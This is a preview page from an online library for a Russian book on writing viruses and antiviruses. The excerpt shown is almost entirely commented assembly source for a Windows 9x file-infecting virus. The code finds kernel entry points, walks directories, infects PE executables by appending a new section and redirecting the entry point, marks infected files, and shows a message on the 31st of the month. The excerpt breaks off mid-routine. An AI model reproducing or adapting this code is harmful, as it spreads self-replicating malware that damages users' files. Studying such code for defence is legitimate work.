Игорь Гульев - Создаем вирус и антивирус
- Название:Создаем вирус и антивирус
- Автор:
- Жанр:
- Издательство:неизвестно
- Год:неизвестен
- ISBN:нет данных
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Игорь Гульев - Создаем вирус и антивирус краткое содержание
Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).
Создаем вирус и антивирус - читать онлайн бесплатно ознакомительный отрывок
Интервал:
Закладка:
cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2]
jmp movit
;Точка 2 не подошла, проверим точку 1
notkern2:
;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]
;Проверим ключ, если ключа нет – выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX
movit:
;Сохраним адрес KERNEL
mov [ebp+offset kern],eax
cld
;Запомним текущую директорию
lea eax,[ebp+offset orgdir]
push eax
push 255
call GetCurDir
;Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем первый файл
infectdir:
lea eax,[ebp+offset win32_data_thang]
push eax
lea eax,[ebp+offset fname]
push eax
call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax
;Проверим, найден ли файл. Если файл не найден,
;меняем директорию
cmp eax,–1
jz foundnothing
;Откроем файл для чтения и записи
gofile:
push 0
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push 0
push 0
push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
lea eax,[ebp+offset fullname]
push eax
call CreateFile
;Сохраним описатель файла
mov dword ptr [ebp+offset ahand],eax
;Проверим, не произошла ли ошибка.
;Если ошибка произошла, ищем следующий файл
cmp eax,–1
jz findnextone
;Поставим указатель позиции чтения/записи на поле
;со смещением PE−заголовка
push 0
push 0
push 3Ch
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем адрес PE−заголовка
push 0
lea eax,[ebp+offset bytesread]
push eax
push 4
lea eax,[ebp+offset peheaderoffset]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Поставим указатель позиции чтения/записи на начало PE−заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем число байт, достаточное для вычисления полного размера
;PE−заголовка и таблицы объектов
push 0
lea eax,[ebp+offset bytesread]
push eax
push 58h
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий
cmp dword ptr [ebp+offset peheader],00004550h;
jnz notape
;Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],0F00Dh
jz notape
cmp dword ptr [ebp+offset 52],4000000h
jz notape
;Поставим указатель позиции чтения/записи на начало PE−заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем весь PE−заголовок и таблицу объектов
push 0
lea eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Установим признак заражения
mov word ptr [ebp+offset peheader+4ch],0F00Dh
;Найдем смещение таблицы объектов
xor eax,eax
mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax
;Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp+offset numObj]
mov ecx,40
xor edx,edx
mul ecx
add esi,eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi,esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
mov eax,[edi−5*8+8]
add eax,[edi−5*8+12]
mov ecx,dword ptr [ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта
mov ecx,dword ptr [ebp+offset filealign]
mov eax,vend−vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
;Вычислим виртуальный размер нового объекта
mov ecx,dword ptr [ebp+offset objalign]
mov eax,vend–vstart+1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
;Вычислим физическое смещение нового объекта
mov eax,[edi−5*8+20]
add eax,[edi−5*8+16]
mov ecx,dword ptr [ebp+offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
;Обновим размер образа (размер в памяти) файла
mov eax,vend−vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx,[ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
;Скопируем новый объект в таблицу объектов
mov ecx,10
rep movsd
;Вычислим точку входа RVA
mov eax,dword ptr [ebp+offset RVA]
mov ebx,dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax,ebx
add eax,5
;Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax
;Поставим указатель позиции чтения/записи на начало PE−заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Запишем PE−заголовок и таблицу объектов в файл
push 0
lea eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
;Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта
push 0
push 0
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Запишем тело вируса в новый объект
push 0
lea eax,[ebp+offset bytesread]
push eax
push vend−vstart
lea eax,[ebp+offset vstart]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Закроем файл
notape:
push dword ptr [ebp+offset ahand]
call CloseFile
;Переход к следующему файлу
findnextone:
;Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше – ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax,[ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call FindNext
;Если файл найден, переходим к заражению
or eax,eax
jnz gofile
;Сюда попадаем, если файл не найден
foundnothing:
;Сменим директорию
xor eax,eax
lea edi,[ebp+offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp+offset tempdir1]
mov ecx,256/4
rep stosd
;Получим текущую директорию
lea esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir
;Сменим директорию на ”.”
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим текущую директорию
lea edi,[ebp+offset tempdir1]
push edi
push 255
call GetCurDir
;Проверим, корневая ли это директория. Если да, то выходим
mov ecx,256/4
rep cmpsd
jnz infectdir
;”Заметаем следы” и выходим в программу−носитель
outty:
;Возвратимся в оригинальную текущую директорию
lea eax,[ebp+offset orgdir]
push eax
call SetCurDir
;Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push eax
call GetTime
;Проверим число. Если это 31−ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz nopayload
;Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax,[ebp+offset boxtitle]
push eax
lea eax,[ebp+offset boxmsg]
push eax
push 0
call MsgBox
;Выход в программу−носитель
nopayload:
pop eax
jmp eax
;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd 0BFF93B95h
;Значения KERNEL, известные нам
kern1 dd 0BFF93B95h
kern2 dd 0BFF93C1Dh
;Чтение текущей директории
GetCurDir:
;Запишем в стек значение для получения текущей
;директории и вызовем KERNEL
push 0BFF77744h
jmp [ebp+offset kern]
;Установка текущей директории
SetCurDir:
;Запишем в стек значение для установки текущей
;директории и вызовем KERNEL
push 0BFF7771Dh
jmp [ebp+offset kern]
;Получение времени и даты
GetTime:
;Проверим, какой KERNEL работает
cmp [ebp+offset kern],0BFF93B95h
jnz gettimekern2
;Запишем в стек значение для получения
;времени и даты и вызовем KERNEL
Читать дальшеИнтервал:
Закладка: